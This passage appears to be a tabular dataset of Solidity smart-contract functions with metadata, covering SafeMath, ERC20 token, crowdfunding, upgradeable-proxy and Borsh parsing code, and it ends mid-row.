contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
NSTTeamLock
NSTTeamLock.sol
0x53992173c3feef5a487a967327e2d30cf3d04e5a
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. ...
/** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; ...
/** * @dev Multiplies two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.5.1+commit.c8a2cb62
None
bzzr://fdc664f9408d2ad915bd5483b0c229e77e07c80defc0a7b5dbcc06770263df89
{ "func_code_index": [ 106, 581 ] }
22,600
NSTTeamLock
NSTTeamLock.sol
0x53992173c3feef5a487a967327e2d30cf3d04e5a
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. ...
/** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.5.1+commit.c8a2cb62
None
bzzr://fdc664f9408d2ad915bd5483b0c229e77e07c80defc0a7b5dbcc06770263df89
{ "func_code_index": [ 711, 1049 ] }
22,601
NSTTeamLock
NSTTeamLock.sol
0x53992173c3feef5a487a967327e2d30cf3d04e5a
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. ...
/** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; }
/** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.5.1+commit.c8a2cb62
None
bzzr://fdc664f9408d2ad915bd5483b0c229e77e07c80defc0a7b5dbcc06770263df89
{ "func_code_index": [ 1182, 1371 ] }
22,602
NSTTeamLock
NSTTeamLock.sol
0x53992173c3feef5a487a967327e2d30cf3d04e5a
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. ...
/** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Adds two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.5.1+commit.c8a2cb62
None
bzzr://fdc664f9408d2ad915bd5483b0c229e77e07c80defc0a7b5dbcc06770263df89
{ "func_code_index": [ 1454, 1640 ] }
22,603
NSTTeamLock
NSTTeamLock.sol
0x53992173c3feef5a487a967327e2d30cf3d04e5a
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. ...
/** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; }
/** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */
NatSpecMultiLine
v0.5.1+commit.c8a2cb62
None
bzzr://fdc664f9408d2ad915bd5483b0c229e77e07c80defc0a7b5dbcc06770263df89
{ "func_code_index": [ 1796, 1953 ] }
22,604
SaintArnouldToken
SaintArnouldToken.sol
0x91aba36a26c653aba26bf768bc203254cb2bb910
Solidity
SaintArnouldToken
contract SaintArnouldToken { string public constant name = "Saint Arnould Token"; string public constant symbol = "SAT"; uint8 public constant decimals = 18; // 18 decimal places, the same as ETH. uint256 public constant tokenCreationRate = 5000; //creation rate 1 ETH = 5000 SAT uint256 pub...
/// @title SaintArnould (Tokyo) Token (SAT) -
NatSpecSingleLine
transfer
function transfer(address _to, uint256 _value) public returns (bool) { // Abort if not in Operational state. if (!funding_ended) throw; if (msg.sender == founders) throw; var senderBalance = balances[msg.sender]; if (senderBalance >= _value && _value > 0) { senderBalance -= _value; ...
/// @notice Transfer `_value` SAT tokens from sender's account /// `msg.sender` to provided account address `_to`. /// @param _to The address of the tokens recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not
NatSpecSingleLine
v0.4.11+commit.68ef5810
bzzr://7e3cc5b9ec167bb6d6844ca8d62db2b447be97875759d46d2db4c12b33513cc3
{ "func_code_index": [ 1769, 2318 ] }
22,605
SaintArnouldToken
SaintArnouldToken.sol
0x91aba36a26c653aba26bf768bc203254cb2bb910
Solidity
SaintArnouldToken
contract SaintArnouldToken { string public constant name = "Saint Arnould Token"; string public constant symbol = "SAT"; uint8 public constant decimals = 18; // 18 decimal places, the same as ETH. uint256 public constant tokenCreationRate = 5000; //creation rate 1 ETH = 5000 SAT uint256 pub...
/// @title SaintArnould (Tokyo) Token (SAT) -
NatSpecSingleLine
buy
function buy(address _sender) internal { // Abort if not in Funding Active state. if (funding_ended) throw; // The checking for blocktimes. if (block.number < fundingStartBlock) throw; if (block.number > fundingEndBlock) throw; // Do not allow creating 0 or more than the cap tokens. ...
/// @notice Create tokens when funding is active. /// @dev Required state: Funding Active /// @dev State transition: -> Funding Success (only if cap reached)
NatSpecSingleLine
v0.4.11+commit.68ef5810
bzzr://7e3cc5b9ec167bb6d6844ca8d62db2b447be97875759d46d2db4c12b33513cc3
{ "func_code_index": [ 2743, 3470 ] }
22,606
SaintArnouldToken
SaintArnouldToken.sol
0x91aba36a26c653aba26bf768bc203254cb2bb910
Solidity
SaintArnouldToken
contract SaintArnouldToken { string public constant name = "Saint Arnould Token"; string public constant symbol = "SAT"; uint8 public constant decimals = 18; // 18 decimal places, the same as ETH. uint256 public constant tokenCreationRate = 5000; //creation rate 1 ETH = 5000 SAT uint256 pub...
/// @title SaintArnould (Tokyo) Token (SAT) -
NatSpecSingleLine
finalize
function finalize() external { if (block.number <= fundingEndBlock) throw; //locked allocation for founders locked_allocation = totalTokens * 10 / 100; balances[founders] = locked_allocation; totalTokens += locked_allocation; unlockingBlock = block.number + 864000; //about 6...
/// @notice Finalize crowdfunding
NatSpecSingleLine
v0.4.11+commit.68ef5810
bzzr://7e3cc5b9ec167bb6d6844ca8d62db2b447be97875759d46d2db4c12b33513cc3
{ "func_code_index": [ 3512, 3919 ] }
22,607
SaintArnouldToken
SaintArnouldToken.sol
0x91aba36a26c653aba26bf768bc203254cb2bb910
Solidity
SaintArnouldToken
contract SaintArnouldToken { string public constant name = "Saint Arnould Token"; string public constant symbol = "SAT"; uint8 public constant decimals = 18; // 18 decimal places, the same as ETH. uint256 public constant tokenCreationRate = 5000; //creation rate 1 ETH = 5000 SAT uint256 pub...
/// @title SaintArnould (Tokyo) Token (SAT) -
NatSpecSingleLine
function() public payable { buy(msg.sender); }
/// @notice If anybody sends Ether directly to this contract, consider he is
NatSpecSingleLine
v0.4.11+commit.68ef5810
bzzr://7e3cc5b9ec167bb6d6844ca8d62db2b447be97875759d46d2db4c12b33513cc3
{ "func_code_index": [ 4569, 4634 ] }
22,608
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sende...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
Ownable
function Ownable() { owner = msg.sender; }
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 269, 330 ] }
22,609
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sende...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 679, 871 ] }
22,610
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uin...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; }
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 282, 541 ] }
22,611
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uin...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; }
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 757, 874 ] }
22,612
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); ...
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 415, 903 ] }
22,613
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * ...
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 1555, 1761 ] }
22,614
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 2097, 2250 ] }
22,615
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 2507, 2796 ] }
22,616
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
Pausable
contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev ...
/** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */
NatSpecMultiLine
pause
function pause() onlyOwner whenNotPaused public { paused = true; Pause(); }
/** * @dev called by the owner to pause, triggers stopped state */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 561, 664 ] }
22,617
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
Pausable
contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev ...
/** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */
NatSpecMultiLine
unpause
function unpause() onlyOwner whenPaused public { paused = false; Unpause(); }
/** * @dev called by the owner to unpause, returns to normal state */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 754, 859 ] }
22,618
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
MintableToken
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @par...
/** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */
NatSpecMultiLine
mint
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; }
/** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 513, 801 ] }
22,619
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
MintableToken
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @par...
/** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */
NatSpecMultiLine
finishMinting
function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; }
/** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */
NatSpecMultiLine
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 926, 1076 ] }
22,620
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
CryptomonToken
contract CryptomonToken is PausableToken, MintableToken { // Standard token variables string public name; // CryptomonToken string public symbol; // CMN uint8 public decimals; // 9 event TokensBurned(address initiatior, address indexed _partner, uint256 _tokens); /* * Const...
/** * @title Cryptomon token * @dev Mintable token created for Cryptomon.io */
NatSpecMultiLine
CryptomonToken
function CryptomonToken(string tokenName, string tokenSymbol, uint8 decimalUnits) { name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes pause(); }
/* * Constructor which pauses the token at the time of creation */
Comment
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 384, 726 ] }
22,621
CryptomonToken
CryptomonToken.sol
0xfc08615a53cf496fefdff1e8d33a47ccd2fac53f
Solidity
CryptomonToken
contract CryptomonToken is PausableToken, MintableToken { // Standard token variables string public name; // CryptomonToken string public symbol; // CMN uint8 public decimals; // 9 event TokensBurned(address initiatior, address indexed _partner, uint256 _tokens); /* * Const...
/** * @title Cryptomon token * @dev Mintable token created for Cryptomon.io */
NatSpecMultiLine
burnTokens
function burnTokens(address _partner, uint256 _tokens) public onlyOwner { require(balances[_partner] >= _tokens); balances[_partner] -= _tokens; totalSupply -= _tokens; TokensBurned(msg.sender, _partner, _tokens); }
/* * @dev Token burn function to be called at the time of token swap * @param _partner address to use for token balance buring * @param _tokens uint256 amount of tokens to burn */
Comment
v0.4.20+commit.3155dd80
bzzr://8dad52980c785627b47a18bde46e05236a08479bcc7fdcbcb45d98e063094df0
{ "func_code_index": [ 932, 1195 ] }
22,622
MetaFansTicket
@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol
0x308559d596de120f7505a47269227eaa644bed30
Solidity
UUPSUpgradeable
abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable...
/** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although t...
NatSpecMultiLine
proxiableUUID
function proxiableUUID() external view virtual override notDelegated returns (bytes32) { return _IMPLEMENTATION_SLOT; }
/** * @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the * implementation. It is used to validate that the this implementation remains valid after an upgrade. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, becaus...
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2072, 2207 ] }
22,623
MetaFansTicket
@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol
0x308559d596de120f7505a47269227eaa644bed30
Solidity
UUPSUpgradeable
abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable...
/** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although t...
NatSpecMultiLine
upgradeTo
function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, new bytes(0), false); }
/** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2383, 2584 ] }
22,624
MetaFansTicket
@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol
0x308559d596de120f7505a47269227eaa644bed30
Solidity
UUPSUpgradeable
abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable...
/** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although t...
NatSpecMultiLine
upgradeToAndCall
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, data, true); }
/** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2829, 3055 ] }
22,625
MetaFansTicket
@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol
0x308559d596de120f7505a47269227eaa644bed30
Solidity
UUPSUpgradeable
abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable...
/** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although t...
NatSpecMultiLine
_authorizeUpgrade
function _authorizeUpgrade(address newImplementation) internal virtual;
/** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) ...
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 3459, 3534 ] }
22,626
MetaFansTicket
contracts/MetaFansTicket.sol
0x308559d596de120f7505a47269227eaa644bed30
Solidity
MetaFansTicket
contract MetaFansTicket is Initializable, ERC721Upgradeable, ERC721URIStorageUpgradeable, PausableUpgradeable, AccessControlUpgradeable, UUPSUpgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant MINTE...
_burn
function _burn(uint256 tokenId) internal override(ERC721Upgradeable, ERC721URIStorageUpgradeable) { super._burn(tokenId); }
// The following functions are overrides required by Solidity.
LineComment
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 2996, 3155 ] }
22,627
NearBridge
contracts/Borsh.sol
0xd41878e50ad4cbccb99f20a450427b442bdef456
Solidity
Borsh
library Borsh { using Borsh for Data; struct Data { uint ptr; uint end; } function from(bytes memory data) internal pure returns (Data memory res) { uint ptr; assembly { ptr := data } res.ptr = ptr + 32; res.end = res.pt...
requireSpace
function requireSpace(Data memory data, uint length) internal pure { require(data.ptr + length <= data.end, "Parse error: unexpected EOI"); }
// This function assumes that length is reasonably small, so that data.ptr + length will not overflow. In the current code, length is always less than 2^32.
LineComment
v0.6.12+commit.27d51765
None
ipfs://6ea1e8ac6d0cd14a4be5d187567bc3bf10bec74347e3d26f380bc332847bed38
{ "func_code_index": [ 519, 679 ] }
22,628
NearBridge
contracts/Borsh.sol
0xd41878e50ad4cbccb99f20a450427b442bdef456
Solidity
Borsh
library Borsh { using Borsh for Data; struct Data { uint ptr; uint end; } function from(bytes memory data) internal pure returns (Data memory res) { uint ptr; assembly { ptr := data } res.ptr = ptr + 32; res.end = res.pt...
peekKeccak256
function peekKeccak256(Data memory data, uint length) internal pure returns (bytes32) { data.requireSpace(length); return Utils.keccak256Raw(data.ptr, length); }
// Same considerations as for requireSpace.
LineComment
v0.6.12+commit.27d51765
None
ipfs://6ea1e8ac6d0cd14a4be5d187567bc3bf10bec74347e3d26f380bc332847bed38
{ "func_code_index": [ 1097, 1286 ] }
22,629
NearBridge
contracts/Borsh.sol
0xd41878e50ad4cbccb99f20a450427b442bdef456
Solidity
Borsh
library Borsh { using Borsh for Data; struct Data { uint ptr; uint end; } function from(bytes memory data) internal pure returns (Data memory res) { uint ptr; assembly { ptr := data } res.ptr = ptr + 32; res.end = res.pt...
peekSha256
function peekSha256(Data memory data, uint length) internal view returns (bytes32) { data.requireSpace(length); return Utils.sha256Raw(data.ptr, length); }
// Same considerations as for requireSpace.
LineComment
v0.6.12+commit.27d51765
None
ipfs://6ea1e8ac6d0cd14a4be5d187567bc3bf10bec74347e3d26f380bc332847bed38
{ "func_code_index": [ 1338, 1521 ] }
22,630
myNewPet
myNewPet.sol
0x27e7030e54371ff5d7b122979bef20dafe7241d8
Solidity
myNewPet
contract myNewPet is ERC20Interface{ string public name = "myNewPet"; string public symbol = "MNP"; uint public decimals = 10; uint public supply; address public founder; mapping(address => uint) public balances; event Transfer(address indexed from, address indexed to, ui...
transfer
function transfer(address to, uint tokens) public returns (bool success){ require(balances[msg.sender] >= tokens && tokens > 0); balances[to] += tokens; balances[msg.sender] -= tokens; emit Transfer(msg.sender, to, tokens); return true; }
//transfer from the owner balance to another address
LineComment
v0.4.25+commit.59dbf8f1
bzzr://fd8b643e47d6ec646562ddcc24c466e6218ee403d830f03195ce23832c57c41c
{ "func_code_index": [ 781, 1091 ] }
22,631
LendingPool
contracts/protocol/tokenization/DelegationAwareAToken.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
DelegationAwareAToken
contract DelegationAwareAToken is AToken { modifier onlyPoolAdmin { require( _msgSender() == ILendingPool(POOL).getAddressesProvider().getPoolAdmin(), Errors.CALLER_NOT_POOL_ADMIN ); _; } constructor( ILendingPool pool, address underlyingAssetAddress, address reserveTreasury, ...
